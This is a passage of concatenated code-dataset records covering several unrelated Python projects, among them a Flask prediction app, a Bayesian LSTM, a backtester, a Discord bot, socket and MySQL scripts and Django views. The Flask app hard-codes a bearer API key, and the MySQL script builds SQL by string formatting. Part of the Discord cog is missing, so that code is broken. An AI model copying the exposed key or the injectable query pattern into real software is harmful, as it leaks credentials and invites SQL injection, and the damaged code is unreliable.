col):\n self._op = op\n self._col = col\n\nclass OpGenerator:\n \"\"\"\n Creates Op instances to define a computation.\n\n When a particular op is requested from the generator, e.g.\n `db.ops.Histogram`, the generator does a dynamic lookup for the\n op in a C++ registry.\n \"\"\"\n\n def __init__(self, db):\n self._db = db\n\n def __getattr__(self, name):\n if name == 'Input':\n return lambda inputs, generator, collection: Op.input(self._db, inputs, generator, collection)\n elif name == 'Output':\n return lambda inputs: Op.output(self._db, inputs)\n\n # This will raise an exception if the op does not exist.\n op_info = self._db._get_op_info(name)\n\n def make_op(*args, **kwargs):\n inputs = []\n if op_info.variadic_inputs:\n inputs.extend(args)\n else:\n for c in op_info.input_columns:\n val = kwargs.pop(c, None)\n if val is None:\n raise ScannerException('Op {} required column {} as input'\n .format(name, c))\n inputs.append(val)\n device = kwargs.pop('device', DeviceType.CPU)\n args = kwargs.pop('args', None)\n op = Op(self._db, name, inputs, device,\n kwargs if args is None else args)\n return op.outputs()\n\n return make_op\n\n\nclass Op:\n def __init__(self, db, name, inputs, device, args):\n self._db = db\n self._name = name\n self._inputs = inputs\n self._device = device\n self._args = args\n self._task = None\n\n @classmethod\n def input(cls, db, inputs, generator, collection):\n c = cls(db, \"InputTable\", inputs, DeviceType.CPU, {})\n c._generator = generator\n c._collection = collection\n return c\n\n @classmethod\n def output(cls, db, inputs):\n return cls(db, \"OutputTable\", inputs, DeviceType.CPU, {})\n\n def outputs(self):\n if self._name == \"InputTable\":\n cols = [OpColumn(self, c) for c in self._inputs][1:]\n else:\n cols = self._db._get_output_columns(self._name)\n cols = [OpColumn(self, c) for c in cols]\n if len(cols) == 1:\n return cols[0]\n else:\n return tuple(cols)\n\n\n def to_proto(self, indices):\n e = self._db.protobufs.Op()\n e.name = self._name\n\n if e.name == \"InputTable\":\n inp = e.inputs.add()\n inp.columns.extend(self._inputs)\n inp.op_index = 0\n else:\n for i in self._inputs:\n inp = e.inputs.add()\n idx = indices[i._op] if i._op is not None else -1\n inp.op_index = idx\n inp.columns.append(i._col)\n\n e.device_type = DeviceType.to_proto(self._db, self._device)\n\n if isinstance(self._args, dict):\n # To convert an arguments dict, we search for a protobuf with the\n # name {Op}Args (e.g. BlurArgs, HistogramArgs) in the\n # args.proto module, and fill that in with keys from the args dict.\n if len(self._args) > 0:\n proto_name = self._name + 'Args'\n args_proto = getattr(self._db.protobufs, proto_name)()\n for k, v in self._args.iteritems():\n try:\n setattr(args_proto, k, v)\n except AttributeError:\n # If the attribute is a nested proto, we can't assign\n # directly, so copy from the value.\n getattr(args_proto, k).CopyFrom(v)\n e.kernel_args = args_proto.SerializeToString()\n else:\n # If arguments are a protobuf object, serialize it directly\n e.kernel_args = self._args.SerializeToString()\n\n return e\n","sub_path":"python/scannerpy/op.py","file_name":"op.py","file_ext":"py","file_size_in_byte":4015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"196304459","text":"from flask import Flask,render_template,request\r\nimport requests,json,urllib\r\napp = Flask(__name__)\r\n@app.route('/')\r\ndef home():\r\n return render_template('index.html')\r\n@app.route('/', methods=['POST','GET'])\r\ndef predict():\r\n features=[x for x in request.form.values()]\r\n age = request.form['age']\r\n job= request.form['job']\r\n mar = request.form['mar']\r\n edu = request.form['edu']\r\n deff = request.form['deff']\r\n house=request.form['house']\r\n loan=request.form['loan']\r\n contact = request.form['contact']\r\n month = request.form['month']\r\n duration = request.form['duration']\r\n camp=request.form['camp']\r\n pdays=request.form['pdays']\r\n prev = request.form['prev']\r\n post = request.form['post']\r\n empp=request.form['empp']\r\n index = request.form['index']\r\n consu = request.form['consu']\r\n eu = request.form['eu']\r\n num = request.form['num']\r\n data = {\r\n \"data\":\r\n [\r\n {\r\n 'age': age,\r\n 'job': job,\r\n 'marital': mar,\r\n 'education': edu,\r\n 'default': deff,\r\n 'housing': house,\r\n 'loan': loan,\r\n 'contact': contact,\r\n 'month': month,\r\n 'duration': duration,\r\n 'campaign': camp,\r\n 'pdays': pdays,\r\n 'previous': prev,\r\n 'poutcome': post,\r\n 'emp.var.rate': empp,\r\n 'cons.price.idx': index,\r\n 'cons.conf.idx': consu,\r\n 'euribor3m': eu,\r\n 'nr.employed': num,\r\n },\r\n ],\r\n }\r\n #print(data)\r\n #list1=[age,job,mar,edu,deff,house,loan,contact,month,duration,camp,pdays,prev,post,empp,index,consu,eu,num]\r\n #print(list)\r\n #input_data = \"{\\\"data\\\": [\" + str(list(list1)) + \"]}\"\r\n #print(input_data)\r\n body = str.encode(json.dumps(data))\r\n key = 'e214pM0NaGP1Y9TZv02gEoP62OoqUuET'\r\n headers = {'Content-Type': 'application/json'}\r\n headers['Authorization'] = f'Bearer {key}'\r\n service = 'http://464c378e-089b-4db7-9bc1-4fa1d8035d39.centralus.azurecontainer.io/score'\r\n #resp = requests.post(service, body, headers=headers)\r\n req = urllib.request.Request(service, body, headers)\r\n\r\n response = urllib.request.urlopen(req)\r\n\r\n result = response.read()\r\n #print(result)\r\n data=json.loads(result)\r\n #print(data)\r\n\r\n\r\n #m = resp.text\r\n\r\n return render_template('index.html',prediction_text=' {}'.format(data[13:]))\r\n\r\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"82201464","text":"\r\n\r\n\r\nimport logging\r\nlogging.basicConfig(level=logging.INFO)\r\n\r\ndef is_number(string):\r\n try:\r\n x = float(string)\r\n return x\r\n except ValueError:\r\n print (string, \" nie jest liczbą\")\r\n raise\r\n\r\n\r\nwybor = int(input ('Podaj działanie, posługując się odpowiednią liczbą: 1 Dodawanie, 2 Odejmowanie, 3 Mnożenie, 4 Dzielenie: '))\r\nz = 0\r\n\r\nif wybor == 1:\r\n a0 = input('podaj pierwsza liczbę: ')\r\n a = is_number(a0)\r\n b0 = input('podaj drugą liczbę: ')\r\n b = is_number(b0)\r\n c0 = input('podaj trzecią liczbę: ')\r\n c = is_number(c0)\r\n\r\n logging.info (\"Dodawanie %s i %s i %s\",str(a), str(b),str(c))\r\n z = a+b+c\r\n print(\"Wynik:\", z)\r\n\r\nelif wybor == 2:\r\n a0 = input('podaj pierwsza liczbę: ')\r\n a = is_number(a0)\r\n b0 = input('podaj drugą liczbę: ')\r\n b = is_number(b0)\r\n\r\n logging.info(\"Odejmowanie %s od %s\", str(b), str(a))\r\n z = a-b\r\n print(\"Wynik:\", z)\r\nelif wybor == 3:\r\n a0 = input('podaj pierwsza liczbę: ')\r\n a = is_number(a0)\r\n b0 = input('podaj drugą liczbę: ')\r\n b = is_number(b0)\r\n\r\n logging.info(\"Mnożenie %s i %s\", str(a), str(b))\r\n z = a*b\r\n print(\"Wynik:\", z)\r\nelif wybor == 4:\r\n a0 = input('podaj pierwsza liczbę: ')\r\n a = is_number(a0)\r\n b0 = input('podaj drugą liczbę: ')\r\n b = is_number(b0)\r\n if b == 0:\r\n print ('Nie dzielimy przez zero')\r\n exit(0)\r\n\r\n logging.info(\"Dzielenie %s i %s\", str(a), str(b))\r\n print(\"Dzielenie\", a, \"przez\", b)\r\n z = a/b\r\n print(\"Wynik:\", z)\r\n\r\nelse:\r\n print ('podano błędny numer wyboru działania')\r\n\r\n\r\nprint (\"\")\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"128100141","text":"import torch\nimport torch.nn as nn\nimport math\n\nfrom torch.autograd import Variable\nimport neural\nfrom neural.util.utils import *\nfrom torch.nn.utils.rnn import PackedSequence\nfrom torch.nn.parameter import Parameter\nimport torch.nn.functional as F\n\n\n#重构了基于 Bayes by Backpro 的 RNN隐藏层网络结构\n#本项目基于的源码版本大概是0.4.0左右\nclass RNNBase_BB(nn.Module):\n\n def __init__(self, mode, input_size, hidden_size, sigma_prior,\n num_layers=1, batch_first=False,\n dropout=0, bidirectional=True):\n \n super(RNNBase_BB, self).__init__()\n \n self.mode = mode\n self.input_size = input_size #输入向量维度,例如在文本分类场景中对应的是word embdding的维度\n self.hidden_size = hidden_size#隐藏层大小,也就是每层几个节点\n self.num_layers = num_layers#隐藏层层数\n self.batch_first = batch_first\n self.dropout = dropout#dropout率\n self.dropout_state = {}\n self.bidirectional = bidirectional#是否双向\n num_directions = 2 if bidirectional else 1\n self.num_directions = num_directions\n\n #todo BBB\n self.sampled_weights = []\n self.sigma_prior = sigma_prior\n\n if mode == 'LSTM':#LSTM:遗忘门、输入门、输出门、细胞状态\n gate_size = 4 * hidden_size\n elif mode == 'GRU':\n gate_size = 3 * hidden_size\n else:\n gate_size = hidden_size\n\n #\n self.means = []\n self.logvars = []\n \n for layer in range(num_layers):#layer层数\n for direction in range(num_directions):#方向数\n layer_input_size = input_size if layer == 0 else hidden_size * num_directions\n\n w_ih_mu = Parameter(torch.Tensor(gate_size, layer_input_size))\n w_hh_mu = Parameter(torch.Tensor(gate_size, hidden_size)) \n w_ih_logvar = Parameter(torch.Tensor(gate_size, layer_input_size))\n w_hh_logvar = Parameter(torch.Tensor(gate_size, hidden_size))\n \n b_ih_mu = Parameter(torch.Tensor(gate_size))\n b_hh_mu = Parameter(torch.Tensor(gate_size))\n b_ih_logvar = Parameter(torch.Tensor(gate_size))\n b_hh_logvar = Parameter(torch.Tensor(gate_size))\n \n self.means += [w_ih_mu, w_hh_mu, b_ih_mu, b_hh_mu]\n self.logvars += [w_ih_logvar, w_hh_logvar, b_ih_logvar, b_hh_logvar]\n \n layer_params = (w_ih_mu, w_ih_logvar, w_hh_mu, w_hh_logvar, b_ih_mu, b_ih_logvar, b_hh_mu, b_hh_logvar)\n\n suffix = '_reverse' if direction == 1 else ''\n param_names = ['weight_ih_l_mu{}{}', 'weight_ih_l_logvar{}{}', 'weight_hh_l_mu{}{}', 'weight_hh_l_logvar{}{}']\n param_names += ['bias_ih_l_mu{}{}', 'bias_ih_l_logvar{}{}', 'bias_hh_l_mu{}{}', 'bias_hh_l_logvar{}{}']\n \n param_names = [x.format(layer, suffix) for x in param_names]\n\n for name, param in zip(param_names, layer_params):\n setattr(self, name, param)\n\n self.reset_parameters()\n self.lpw = 0\n self.lqw = 0\n\n def _apply(self, fn):\n ret = super(RNNBase_BB, self)._apply(fn)\n return ret\n\n def reset_parameters(self):#初始化参数\n stdv = 1.0 / math.sqrt(self.hidden_size)\n logvar_init = math.log(stdv) * 2#自然对数x2\n for mean in self.means:\n mean.data.uniform_(-stdv, stdv)\n for logvar in self.logvars:\n logvar.data.fill_(logvar_init)#填充\n \n def get_all_weights(self, weights):\n \n start = 0\n all_weights = []\n for layer in range(self.num_layers):\n for direction in range(self.num_directions):\n w_ih = weights[start]\n w_hh = weights[start+1]\n b_ih = weights[start+2]\n b_hh = weights[start+3]\n start += 4\n all_weights.append([w_ih, w_hh, b_ih, b_hh])\n\n return all_weights\n \n def sample(self, usecuda = True):\n self.sampled_weights = []\n for i in range(len(self.means)):\n mean = self.means[i]\n logvar = self.logvars[i]\n eps = torch.zeros(mean.size())\n if usecuda:\n eps = eps.cuda()\n\n #正态分布采样,N~(0,self.sigma_prior)\n eps.normal_(0, self.sigma_prior)\n\n #每个元素乘以0.5然后取e的指数\n std = logvar.mul(0.5).exp()\n\n weight = mean + Variable(eps) * std\n self.sampled_weights.append(weight)\n\n def _calculate_prior(self, weights):\n lpw = 0.\n for w in weights:\n lpw += log_gaussian(w, 0, self.sigma_prior).sum()\n return lpw\n \n def _calculate_posterior(self, weights):\n lqw = 0.\n for i,w in enumerate(weights):\n lqw += log_gaussian_logsigma(w, self.means[i], 0.5*self.logvars[i]).sum()\n return lqw\n\n def forward(self, input, hx=None, usecuda = True):\n if self.training:#训练阶段\n weights = self.sampled_weights#采样\n self.lpw = self._calculate_prior(weights)\n self.lqw = self._calculate_posterior(weights)\n else:\n weights = self.means\n\n self.all_weights = self.get_all_weights(weights)\n \n is_packed = isinstance(input, PackedSequence)\n if is_packed:\n input, batch_sizes = input\n max_batch_size = batch_sizes[0]\n else:\n batch_sizes = None\n max_batch_size = input.size(0) if self.batch_first else input.size(1)\n\n if hx is None:\n num_directions = 2 if self.bidirectional else 1\n hx = torch.autograd.Variable(input.data.new(self.num_layers *\n num_directions,\n max_batch_size,\n self.hidden_size).zero_(), requires_grad=False)\n if self.mode == 'LSTM':\n hx = (hx, hx)\n\n func = self._backend.RNN(\n self.mode,\n self.input_size,\n self.hidden_size,\n num_layers=self.num_layers,\n batch_first=self.batch_first,\n dropout=self.dropout,\n train=self.training,\n bidirectional=self.bidirectional,\n batch_sizes=batch_sizes,\n dropout_state=self.dropout_state,\n flat_weight=None\n )\n # change this line\n output, hidden = func(input, self.all_weights, hx)\n if is_packed:\n output = PackedSequence(output, batch_sizes)\n return output, hidden\n\nclass LSTM_BB(RNNBase_BB):\n\n def __init__(self, *args, **kwargs):\n super(LSTM_BB, self).__init__('LSTM', *args, **kwargs)\n\nclass baseRNN_BB(nn.Module):\n\n def __init__(self, vocab_size, hidden_size, input_dropout_p, output_dropout_p, n_layers, rnn_cell, \n max_len=25):\n \n super(baseRNN_BB, self).__init__()\n \n self.vocab_size = vocab_size\n self.hidden_size = hidden_size\n self.n_layers = n_layers\n self.max_len = max_len\n \n self.input_dropout_p = input_dropout_p\n self.output_dropout_p = output_dropout_p\n \n if rnn_cell.lower() == 'lstm':\n self.rnn_cell = LSTM_BB\n else:\n raise ValueError(\"Unsupported RNN Cell: {0}\".format(rnn_cell))\n\n self.input_dropout = nn.Dropout(p=input_dropout_p)\n\n def forward(self, *args, **kwargs):\n raise NotImplementedError()\n\nclass EncoderRNN_BB(baseRNN_BB):\n\n def __init__(self, vocab_size, embedding_size ,hidden_size, sigma_prior, input_dropout_p=0, \n output_dropout_p=0, n_layers=1, bidirectional=True, rnn_cell='lstm'):\n \n super(EncoderRNN_BB, self).__init__(vocab_size, hidden_size, input_dropout_p, \n output_dropout_p, n_layers, rnn_cell)\n\n self.embedding = nn.Embedding(vocab_size, embedding_size)\n \n self.rnn = self.rnn_cell(embedding_size, hidden_size, sigma_prior, n_layers,\n bidirectional=bidirectional, dropout=output_dropout_p,\n batch_first=True)\n\n def forward(self, words, input_lengths, usecuda = True):\n \n batch_size = words.size()[0]\n embedded = self.embedding(words)\n embedded = self.input_dropout(embedded)\n embedded = nn.utils.rnn.pack_padded_sequence(embedded, input_lengths, batch_first= True)\n _, output = self.rnn(embedded, usecuda = usecuda)\n output = output[0].transpose(0,1).contiguous().view(batch_size, -1)\n \n return output\n \n def get_lpw_lqw(self):\n \n lpw = self.rnn.lpw\n lqw = self.rnn.lqw\n return lpw, lqw","sub_path":"neural/modules/EncoderRNN_BB.py","file_name":"EncoderRNN_BB.py","file_ext":"py","file_size_in_byte":9109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"180440353","text":"from evaluation import Evaluation\nfrom orders import OrderType\nfrom data_sources import get_filtered_signals\n\nclass SignalDrivenBacktester(Evaluation):\n\n def __init__(self, signals=None, **kwargs):\n \"\"\"\n :param strategy: Backtested strategy (instance of SignalStrategy). \n :param transaction_currency: Transaction currency for which we're backtesting.\n :param counter_currency: Counter currency for which we're backtesting.\n :param start_cash: Starting amount of counter_currency.\n :param start_crypto: Starting amount of transaction_currency.\n :param start_time: Beginning of timeframe for which signals are fetched (UTC timestamp).\n :param end_time: End of timeframe for which signals are fetched (UTC timestamp).\n :param source: ITF exchange code.\n :param resample_period: Duration of 1 candle (minutes).\n :param evaluate_profit_on_last_order: Evaluate gains at the time of the last order (vs. at end_time).\n :param verbose: Produce verbose output.\n :param time_delay: Parameter specifying the delay applied when fetching price info (in seconds).\n :param slippage: Parameter specifying the slippage percentage, applied in the direction of the trade.\n :param signals: A predefined list of signals passed into the strategy. If not supplied, the signals will be\n pulled from the database.\n \"\"\"\n super().__init__(**kwargs)\n if signals is None:\n self.signals = get_filtered_signals(\n start_time=self._start_time,\n end_time=self._end_time,\n counter_currency=self._counter_currency,\n transaction_currency=self._transaction_currency,\n source=self._source,\n resample_period=self._resample_period\n )\n else:\n self.signals = signals\n\n self._buy_currency = self._start_crypto_currency = self._transaction_currency\n self._reevaluate_inf_bank()\n\n self.run()\n\n\n\n def fill_trading_df(self, orders):\n for i, order in enumerate(orders):\n if i == 0: # first order\n# assert order.order_type == OrderType.BUY\n self._start_crypto_currency = self._buy_currency = order.transaction_currency\n\n if order.order_type == OrderType.BUY:\n self._buy_currency = order.transaction_currency\n elif order.order_type == OrderType.SELL:\n assert order.transaction_currency == self._buy_currency\n self.execute_order(order)\n self._current_timestamp = order.timestamp\n self._current_price = order.unit_price\n self._current_order = order\n self._current_signal = self.order_signals[i] if len(self.order_signals) > 0 else None\n self._write_trading_df_row()\n self._end_crypto_currency = self._buy_currency\n self._finalize_backtesting()\n\n\n def get_decisions(self):\n decisions = []\n # special case for buy and hold - get decision at the beginning of time\n if len(self.signals) == 0 or self.signals[0].timestamp != self._start_time:\n decisions.append(self._strategy.get_decision(self._start_time, None, []))\n\n for signal in self.signals:\n timestamp = signal.timestamp\n price = signal.price\n decisions.append(self._strategy.get_decision(timestamp, price, [signal]))\n\n # again, let the strategy decide at the end of time\n if len(self.signals) == 0 or self.signals[-1].timestamp != self._end_time:\n decisions.append(self._strategy.get_decision(self._end_time, None, []))\n\n return decisions\n\n def run(self):\n self.orders, self.order_signals = self._order_generator.get_orders(\n decisions=self.get_decisions()\n )\n\n self.fill_trading_df(self.orders)","sub_path":"backtesting/backtester_signals.py","file_name":"backtester_signals.py","file_ext":"py","file_size_in_byte":3930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"180243968","text":"import asyncio\nimport discord\nimport time\nfrom bot_index import reroDB\nfrom discord.ext import commands\nfrom emoji_data import EmojiSequence\nfrom itertools import zip_longest\n\n\nclass ReactionRoles(commands.Cog):\n\n \"\"\"Setup Reaction Roles\"\"\"\n\n def __init__(self, bot):\n self.bot = bot\n\n\n @commands.command(aliases=['rero'], description=\"\")\n @commands.has_guild_permissions(administrator=True)\n @commands.bot_has_guild_permissions(manage_roles=True)\n async def reactRoles(self, ctx, *, text):\n \"\"\"Allows members to get roles with reactions\"\"\"\n messages = await ctx.channel.history(limit=2).flatten()\n msgStrip = str(messages[1]).split()\n lastMsgID = msgStrip[1].strip('id=')\n lastMsg = await ctx.channel.fetch_message(lastMsgID)\n msg = text.strip().split(',')\n gID = str(ctx.message.guild.id)\n gmsg = list(self.grouper(2, msg))\n roles = []\n allRoles = ctx.guild.roles\n roleIDs = []\n channelID = str(ctx.channel.id)\n for x in gmsg:\n a = str(x[0].strip())\n b = str(x[1].strip())\n if a[0:].startswith('<:') | a[0:].startswith('\\n')\n if not links:\n embed = discord.Embed(title=\"Not Found\", description=\"No reaction roles found for current channel. This command is currently limited to one channel only\", color=0xff0000)\n await ctx.send(embed=embed)\n if links:\n embed = discord.Embed(title=\"Channel Reaction Roles\", description=links, color=0x00ff00)\n await ctx.send(embed=embed)\n else:\n embed = discord.Embed(title=\"Not Found\", description=\"No reaction roles found for current channel. This command is currently limited to one channel only\", color=0xff0000)\n await ctx.send(embed=embed)\n\n\n \n\n\ndef setup(bot):\n bot.add_cog(ReactionRoles(bot))\n","sub_path":"cmds/roles/reactionroles.py","file_name":"reactionroles.py","file_ext":"py","file_size_in_byte":6224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"13201511","text":"import re\n\nfrom OpenSSL import crypto\n\nfrom django import forms\nfrom django.utils.translation import ugettext_lazy as _\nfrom pretix.control.forms import ExtFileField\n\n\nADDRESS_RE = re.compile(r\"^0x[a-zA-Z0-9]{40}$\")\nCOMMENT_RE = re.compile(r\"^#\")\n\n\nclass KeyPemFile(ExtFileField):\n def __init__(self, *args, **kwargs):\n kwargs[\"ext_whitelist\"] = (\".pem\",)\n super().__init__(*args, **kwargs)\n\n def clean(self, *args, **kwargs):\n data = super().clean(*args, **kwargs)\n\n if data:\n raw_data = data.read()\n try:\n pubkey = crypto.load_privatekey(crypto.FILETYPE_PEM, raw_data)\n except crypto.Error:\n raise forms.ValidationError(_(\"Unable to load private key\"))\n\n if(pubkey.bits() == 0):\n raise forms.ValidationError(_(\"Key is 0 bits\"))\n\n return raw_data, pubkey.bits()\n\n\nclass KeyFileUploadForm(forms.Form):\n key_file_data = KeyPemFile(\n help_text=_(\"\"\"Upload a '.pem' key file holding a key in RFC 5915 format.
\n You can generate it like this: openssl ecparam -name secp256k1 -genkey -noout -out key.pem\"\"\"),\n )\n","sub_path":"pretix_attestation_plugin/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"390084644","text":"import django\nfrom django.shortcuts import render\nfrom django.db import models\n\n\ndef user_info_view(request, user):\n array = []\n\n q = user.objects.get(id=request.session['user_id'])\n\n for i in str(q.student_number):\n array += i\n\n # ex)10반\n if array[1] != \"0\":\n classes = array[1] + array[2]\n else:\n classes = array[2]\n\n if q.homeroom_teacher.name != \"미배정\":\n q.homeroom_teacher.name += \"선생님\"\n\n value = {\"sortation\": \"0\", \"name\": q.name, \"grade\": array[0], \"class\": classes, \"homeroom_teacher\": q.homeroom_teacher.name}\n print(value)\n return value\n\n\ndef teacher_info_view(request, teacher):\n q = teacher.objects.get(id=request.session['teacher_id'])\n\n value = {\"sortation\": \"1\", \"name\": q.name}\n print(value)\n\n return value\n\n\ndef cal_period(request):\n # 2학년\n try:\n a = request.POST.getlist(\"A[]\")[0]\n b = request.POST.getlist(\"B[]\")[0]\n c = request.POST.getlist(\"C[]\")[0]\n d = request.POST.getlist(\"D[]\")[0]\n e = request.POST.getlist(\"E[]\")\n h = request.POST.getlist(\"H[]\")[0]\n\n return a + \";\" + b + \";\" + c + \";\" + d + \";\" + e[0] + \";\" + e[1] + \";\" + e[2] + \";\" + h\n \n # 채워지지 않은 값이 있다면\n except IndexError:\n return -2\n # 예상하지 못한 오류\n except BaseException as e:\n print(e)\n print(\"cal_period 함수 내에서 발생한 오류입니다.\")\n return -1\n\n\ndef cal_period2(request):\n # 3학년 1학기 cal\n try:\n a = request.POST.getlist(\"A[]\")\n j = request.POST.getlist(\"J[]\")[0]\n\n return a[0] + \";\" + a[1] + \";\" + a[2] + \";\" + a[3] + \";\" + a[4] + \";\" + a[5] + \";\" + a[6] + \";\" + a[7] + \";\" + a[8] + \";\" + j\n\n # 채워지지 않은 값이 있다면\n except IndexError:\n return -2\n\n # 예상하지 못한 오류\n except BaseException as e:\n print(e)\n print(\"cal_period 함수 내에서 발생한 오류입니다.\")\n return -1\n\n\ndef cal_period3(request):\n # 3학년 2학기 cal\n try:\n a = request.POST.getlist(\"A[]\")\n j = request.POST.getlist(\"J[]\")[0]\n\n return a[0] + \";\" + a[1] + \";\" + a[2] + \";\" + a[3] + \";\" + a[4] + \";\" + a[5] + \";\" + a[6] + \";\" + a[7] + \";\" + j\n\n # 채워지지 않은 값이 있다면\n except IndexError:\n return -2\n\n # 예상하지 못한 오류\n except BaseException as e:\n print(e)\n print(\"cal_period 함수 내에서 발생한 오류입니다.\")\n return -1\n\n\ndef sum_control(p1, p2):\n try:\n l = []\n t = \"\"\n\n a = p1.split(\";\")\n for i in range(0, len(a)):\n l.append(a[i])\n\n a = p2.split(\";\")\n for i in range(0, len(a)):\n l.append(a[i])\n\n my_set = set(l) # 집합set으로 변환\n l = list(my_set)\n\n for i in range(0, len(l)):\n t += l[i]\n t += \";\"\n\n return t[:len(t)]\n\n except BaseException as e:\n print(e)\n return -1\n\n\ndef check_type(request):\n try:\n # 구분이 학생이면\n if request.session.get(\"sortation\") == 0:\n # user table id가 있다면\n if request.session.get(\"user_id\"):\n return 0\n # 예상하지 못한 오류\n else:\n return -1\n # 구분이 선생이면\n elif request.session.get(\"sortation\") == 1:\n # teacher table id가 있다면\n if request.session.get(\"teacher_id\"):\n return 1\n # 예상하지 못한 오류\n else:\n -1\n # 알 수 없는 오류\n except BaseException as e:\n print(e)\n print(\"check_type 함수 내에서 발생한 오류입니다.\")\n return -3","sub_path":"main/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"644593586","text":"import utils\r\nimport database\r\n\r\nprint(\"Add to song database or try to match song?\")\r\nprint(\"1: Add to song database\")\r\nuser_choice = input(\"2: Match Song\")\r\nsong_name = \"\"\r\nif user_choice == 1:\r\n song_name = input(\"Enter the song name\")\r\nprint(\"Use the mic or mp3\")\r\nprint(\"1: Use mic\")\r\nmethod = input(\"2: Use mp3\")\r\n\r\nif user_choice == 1:\r\n database.SongDatabase.store_song(song_name, method)\r\nelif user_choice == 2:\r\n database.SongDatabase.query_song(method)\r\n\r\n\r\n# revised interface:\r\n'''\r\nprint(\"Add to song database or try to match song?\")\r\nprint(\"1: Add to song database\")\r\nuser_choice = input(\"2: Match Song\")\r\nif user_choice == 1:\r\n song_name = input(\"Enter the song name\")\r\nprint(\"Use the mic or mp3\")\r\nprint(\"1: Use mic\")\r\nmethod = input(\"2: Use mp3\")\r\n\r\nif user_choice == 1: (store song)\r\n pass song_name and method to database.store_song\r\n database stores song_name, does lines 24-30 to generate fingerprints\r\n stores the generated fingerprints\r\nelse: (query song)\r\n pass method to database.query_song\r\n database does lines 24-30 to generate the fingerprint\r\n checks database for song with highest tally\r\n returns song name with highest tally\r\n'''\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"409277757","text":"def fun(string):\n a=string.split(\"/\")\n\n left = float(a[0])\n\n right = float(a[1])\n check=int(a[2])\n if(check==0):\n return add(left,right)\n elif(check==1):\n return sub(left,right)\n elif(check==2):\n return mul(left,right)\n else:\n return 0\n\ndef add(a,b):\n return a+b\ndef mul(a,b):\n return a*b\ndef sub(a,b):\n return a/b\n \n\n# first of all import the socket library\n\nimport socket \n\n \n\n# next create a socket object\n\ns = socket.socket() \n\nprint (\"Socket successfully created\")\n\n \n\n# reserve a port on your computer in our\n\n# case it is 12345 but it can be anything\n\nport = 50123 \n\n \n\n# Next bind to the port\n\n# we have not typed any ip in the ip field\n\n# instead we have inputted an empty string\n\n# this makes the server listen to requests \n\n# coming from other computers on the network\n\ns.bind(('192.168.1.10', port)) \n\nprint (\"socket binded to %s\" %(port))\n\n \n\n# put the socket into listening mode\n\ns.listen(5) \n\nprint (\"socket is listening\")\n\nwhile True:\n\n \n\n # Establish connection with client.\n\n c, addr = s.accept() \n\n print ('Got connection from', addr)\n\n a=c.recv(1024).decode('UTF-8')\n\n b=str(fun(a))\n\n c.send(str.encode(b))\n\n \n\n # Close the connection with the client\n\nc.close()\n\n \n","sub_path":"cds_assighnent2/server2.py","file_name":"server2.py","file_ext":"py","file_size_in_byte":1320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"461725419","text":"#!/usr/bin/python\r\nimport pymysql\r\nglobal db\r\nglobal cursor\r\n\r\ndb = pymysql.connect(db='Employee', user='root', passwd='Test@123', unix_socket=\"/var/run/mysqld/mysqld.sock\")\r\n# prepare a cursor object using cursor() method\r\ncursor = db.cursor()\r\n\r\ndef emp_update_details(name,lname,age,sex,income):\r\n\tsql = \"INSERT INTO EMPLOYEE33(FIRST_NAME,LAST_NAME, AGE, SEX, INCOME) \\\r\n VALUES ('{}', '{}', {}, '{}', {} )\".format(name.upper(),lname.upper(),age,sex,income)\r\n\ttry:\r\n\t\tcursor.execute(sql)\r\n\t\tdb.commit()\r\n\texcept Exception as e:\r\n\t\tprint(\"Got error\")\r\n\t\tdb.rollback()\r\n\r\nfd=open('emp.txt','r')\r\nfor line in fd.readlines():\r\n\tl=line.split()\r\n\temp_update_details(l[0],l[1],int(l[2]),l[3],int(l[4]))\r\nfd.close()\r\ndb.close()\r\n","sub_path":"modules/db_modules/db_insert_dynamic_var_nu.py","file_name":"db_insert_dynamic_var_nu.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"179233095","text":"from django.contrib.auth.models import User\nfrom django.http import HttpResponse, JsonResponse\nfrom django.shortcuts import render\nfrom .scripts.tagGraph import Tag\nfrom .scripts.mongodbConnector import Connector\nfrom .scripts.wordTagging import Tagging\nfrom django.contrib.auth.decorators import login_required, user_passes_test\nimport pyarabic.araby as araby\nfrom threading import Lock\nfrom farasa.stemmer import FarasaStemmer\nimport json\nfrom django.contrib.staticfiles import finders\nfrom collections import Counter\nimport re\nfrom datetime import datetime\n\n\"\"\"\n all clients request will be sent her , in order to establish a connection between frontend and backend.\n\"\"\"\n\n# tool for stemming the arabic word to its roots.\nstemmer = FarasaStemmer(interactive=True)\n\n\n@login_required() # only users view this page\ndef main_tag_page(request):\n \"\"\"\n # the poem tagging page.\n :param request: have the unique id of poem\n :return:\n \"\"\"\n t = Tag()\n all_tags = t.getAllTags()[\"tags\"]\n c = Connector()\n if request.method == 'GET':\n poem_id = request.GET['poem_id']\n else:\n poem_id = 2066\n\n poem = (c.get_poem(poem_id))[0]\n user = request.user\n poet_name = c.get_poet_name(poem['poet_id'])[0]['name']\n # add user entry to mongodb\n c.add_user_entry(user.id, id, poem['name'], poet_name)\n split_context = []\n for row in poem['context']:\n split_context.append({'row_index': 